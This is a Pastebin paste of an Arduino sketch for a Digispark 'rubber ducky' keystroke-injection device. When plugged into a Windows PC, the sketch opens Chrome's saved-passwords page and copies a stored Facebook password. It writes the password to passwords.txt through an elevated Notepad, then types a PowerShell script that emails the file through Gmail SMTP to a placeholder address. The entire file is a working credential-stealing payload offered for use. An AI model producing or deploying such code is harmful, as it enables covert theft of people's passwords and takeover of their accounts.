Advertisement
Guest User

rubberducky.ino

a guest
Mar 15th, 2018
115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.34 KB | None | 0 0
  1. #include <avr/pgmspace.h>
  2. #include "DigiKeyboard.h"
  3. const char line1[] PROGMEM = "chrome";
  4. const char line2[] PROGMEM = "chrome>&&settings&passwords";
  5. const char line3[] PROGMEM = "facebook";
  6. const char line4[] PROGMEM = "powershell start/process notepad.exe /Verb runAs";
  7. const char line5[] PROGMEM = "s";
  8. const char line6[] PROGMEM = "passwords.txt";
  9. const char line7[] PROGMEM = "c";
  10. const char line9[] PROGMEM = "powershell";
  11. const char line10[] PROGMEM = "$SMTPServer ) -smtp.gmail.com-";
  12. const char line11[] PROGMEM = "$SMTPInfo ) New/Object Net.Mail.SmtpClient*$SmtpServer, 587(";
  13. const char line12[] PROGMEM = "$SMTPInfo.EnableSsl ) $true";
  14. const char line13[] PROGMEM = "$SMTPInfo.Credentials ) New/Object System.Net.NetworkCredential*-email";
  15. const char line14[] PROGMEM = "gmail.com-, -password-(<";
  16. const char line15[] PROGMEM = "$ReportEmail ) New/Object System.Net.Mail.MailMessage";
  17. const char line16[] PROGMEM = "$ReportEmail.From ) -email";
  18. const char line17[] PROGMEM = "gmail.com-";
  19. const char line18[] PROGMEM = "$ReportEmail.To.Add*-email";
  20. const char line19[] PROGMEM = "gmail.com-(";
  21. const char line20[] PROGMEM = "$ReportEmail.Subject ) -Ducky chrome passwords-";
  22. const char line21[] PROGMEM = "$ReportEmail.Body ) -Attached is your list of passwords.-";
  23. const char line22[] PROGMEM = "$ReportEmail.Attachments.Add*-C>";
  24. const char line23[] PROGMEM = "passwords.txt-(";
  25. const char line24[] PROGMEM = "$SMTPInfo.Send*$ReportEmail(";
  26. const char line25[] PROGMEM = "exit";
  27.  
  28. char buffer[256];
  29.  
  30. #define GetPsz(x) (strncpy_P(buffer, (char*)x, 256))
  31. #define KEY_UP_ARROW 0x52
  32. #define KEY_DOWN_ARROW 0x51
  33. #define KEY_LEFT_ARROW 0x50
  34. #define KEY_RIGHT_ARROW 0x4F
  35. #define KEY_LEFT_GUI 0xE3
  36. #define KEY_ESC 0x29
  37. #define KEY_TAB 0x2B
  38. #define KEY_AT 0x33
  39.  
  40. void digiBegin() {
  41. DigiKeyboard.sendKeyStroke(0,0);
  42. DigiKeyboard.delay(50);
  43. }
  44.  
  45. void digiEnd() {
  46. const int led=1;
  47. pinMode(led, OUTPUT);
  48. while (1) {
  49. digitalWrite(led, !digitalRead(led));
  50. DigiKeyboard.delay(1000);
  51. }
  52. }
  53.  
  54. void printText(char *txt) {
  55. DigiKeyboard.print(txt);
  56. DigiKeyboard.update();
  57. }
  58.  
  59. void setup() {
  60. digiBegin();
  61.  
  62. DigiKeyboard.delay(2000);
  63.  
  64. // -------------open chrome
  65. DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
  66.  
  67. DigiKeyboard.delay(1000);
  68.  
  69. // chrome
  70. printText(GetPsz(line1));
  71.  
  72. DigiKeyboard.delay(1000);
  73.  
  74. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  75.  
  76. DigiKeyboard.delay(5500);
  77.  
  78. // -------------copy plaintext password
  79. // chrome://settings/passwords
  80. printText(GetPsz(line2));
  81.  
  82. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  83.  
  84. DigiKeyboard.delay(3000);
  85.  
  86. DigiKeyboard.sendKeyStroke(KEY_TAB);
  87.  
  88. DigiKeyboard.sendKeyStroke(KEY_TAB);
  89.  
  90. DigiKeyboard.sendKeyStroke(KEY_TAB);
  91.  
  92. // facebook
  93. printText(GetPsz(line3));
  94.  
  95. DigiKeyboard.delay(500);
  96.  
  97. DigiKeyboard.sendKeyStroke(KEY_TAB);
  98.  
  99. DigiKeyboard.delay(500);
  100.  
  101. DigiKeyboard.sendKeyStroke(KEY_TAB);
  102.  
  103. DigiKeyboard.delay(500);
  104.  
  105. DigiKeyboard.sendKeyStroke(KEY_TAB);
  106.  
  107. DigiKeyboard.delay(500);
  108.  
  109. DigiKeyboard.sendKeyStroke(KEY_TAB);
  110.  
  111. DigiKeyboard.delay(500);
  112.  
  113. DigiKeyboard.sendKeyStroke(KEY_TAB);
  114.  
  115. DigiKeyboard.delay(500);
  116.  
  117. DigiKeyboard.sendKeyStroke(KEY_RIGHT_ARROW);
  118.  
  119. DigiKeyboard.delay(500);
  120.  
  121. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  122.  
  123. DigiKeyboard.delay(500);
  124.  
  125. DigiKeyboard.sendKeyStroke(KEY_LEFT_ARROW);
  126.  
  127. DigiKeyboard.delay(500);
  128.  
  129. DigiKeyboard.sendKeyStroke(KEY_TAB);
  130.  
  131. DigiKeyboard.delay(500);
  132.  
  133. DigiKeyboard.sendKeyStroke(KEY_C,MOD_CONTROL_LEFT);
  134.  
  135. DigiKeyboard.delay(500);
  136.  
  137. DigiKeyboard.sendKeyStroke(KEY_F4,MOD_ALT_LEFT);
  138.  
  139. DigiKeyboard.delay(500);
  140.  
  141. // -------------save file to music folder as passwords.txt
  142. DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
  143.  
  144. DigiKeyboard.delay(500);
  145.  
  146. // powershell start-process notepad.exe -Verb runAs
  147. printText(GetPsz(line4));
  148.  
  149. DigiKeyboard.delay(500);
  150.  
  151. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  152.  
  153. DigiKeyboard.delay(2000);
  154.  
  155. DigiKeyboard.sendKeyStroke(KEY_Y,MOD_ALT_LEFT);
  156.  
  157. DigiKeyboard.delay(1000);
  158.  
  159. DigiKeyboard.sendKeyStroke(KEY_V,MOD_CONTROL_LEFT);
  160.  
  161. DigiKeyboard.delay(500);
  162.  
  163. DigiKeyboard.sendKeyStroke(KEY_F,MOD_ALT_LEFT);
  164.  
  165. DigiKeyboard.delay(500);
  166.  
  167. // s
  168. printText(GetPsz(line5));
  169.  
  170. DigiKeyboard.delay(500);
  171.  
  172. // passwords.txt
  173. printText(GetPsz(line6));
  174.  
  175. DigiKeyboard.delay(500);
  176.  
  177. DigiKeyboard.sendKeyStroke(KEY_TAB);
  178.  
  179. DigiKeyboard.sendKeyStroke(KEY_TAB);
  180.  
  181. DigiKeyboard.sendKeyStroke(KEY_TAB);
  182.  
  183. DigiKeyboard.sendKeyStroke(KEY_TAB);
  184.  
  185. DigiKeyboard.sendKeyStroke(KEY_TAB);
  186.  
  187. DigiKeyboard.sendKeyStroke(KEY_TAB);
  188.  
  189. DigiKeyboard.sendKeyStroke(KEY_TAB);
  190.  
  191. DigiKeyboard.sendKeyStroke(KEY_TAB);
  192.  
  193. DigiKeyboard.sendKeyStroke(KEY_TAB);
  194.  
  195. // c
  196. printText(GetPsz(line7));
  197.  
  198. DigiKeyboard.delay(1000);
  199.  
  200. DigiKeyboard.sendKeyStroke(KEY_DOWN_ARROW);
  201.  
  202. DigiKeyboard.delay(500);
  203.  
  204. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  205.  
  206. DigiKeyboard.delay(500);
  207.  
  208. DigiKeyboard.sendKeyStroke(KEY_S,MOD_ALT_LEFT);
  209.  
  210. DigiKeyboard.delay(1000);
  211.  
  212. DigiKeyboard.sendKeyStroke(KEY_F4,MOD_ALT_LEFT);
  213.  
  214. DigiKeyboard.delay(500);
  215.  
  216. // -------------email log via gmail
  217. DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
  218.  
  219. DigiKeyboard.delay(500);
  220.  
  221. // powershell
  222. printText(GetPsz(line9));
  223.  
  224. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  225.  
  226. DigiKeyboard.delay(1000);
  227.  
  228. // $SMTPServer = 'smtp.gmail.com'
  229. printText(GetPsz(line10));
  230.  
  231. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  232.  
  233. // $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
  234. printText(GetPsz(line11));
  235.  
  236. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  237.  
  238. // $SMTPInfo.EnableSsl = $true
  239. printText(GetPsz(line12));
  240.  
  241. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  242.  
  243. // $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('youremail@gmail.com', 'password');
  244. printText(GetPsz(line13));
  245. DigiKeyboard.sendKeyStroke(KEY_AT, MOD_ALT_RIGHT);
  246. printText(GetPsz(line14));
  247. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  248.  
  249. // $ReportEmail = New-Object System.Net.Mail.MailMessage
  250. printText(GetPsz(line15));
  251.  
  252. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  253.  
  254. // $ReportEmail.From = 'youremail@gmail.com'
  255. printText(GetPsz(line16));
  256. DigiKeyboard.sendKeyStroke(KEY_AT, MOD_ALT_RIGHT);
  257. printText(GetPsz(line17));
  258.  
  259. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  260.  
  261. // $ReportEmail.To.Add('toemail@gmail.com')
  262. printText(GetPsz(line18));
  263. DigiKeyboard.sendKeyStroke(KEY_AT, MOD_ALT_RIGHT);
  264. printText(GetPsz(line19));
  265.  
  266. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  267.  
  268. // $ReportEmail.Subject = 'Ducky chrome passwords'
  269. printText(GetPsz(line20));
  270.  
  271. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  272.  
  273. // $ReportEmail.Body = 'Attached is your list of passwords.'
  274. printText(GetPsz(line21));
  275.  
  276. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  277.  
  278. // $ReportEmail.Attachments.Add('c:\\passwords.txt')
  279. printText(GetPsz(line22));
  280. DigiKeyboard.print((char)38);
  281. DigiKeyboard.print((char)38);
  282. printText(GetPsz(line23));
  283.  
  284. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  285.  
  286. // $SMTPInfo.Send($ReportEmail)
  287. printText(GetPsz(line24));
  288.  
  289. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  290.  
  291. DigiKeyboard.delay(10000);
  292.  
  293. // exit
  294. printText(GetPsz(line25));
  295.  
  296. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  297.  
  298. DigiKeyboard.sendKeyStroke(KEY_F4, MOD_ALT_LEFT);
  299. digiEnd();
  300.  
  301.  
  302. }
  303. /* Unused endless loop */
  304. void loop() {}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement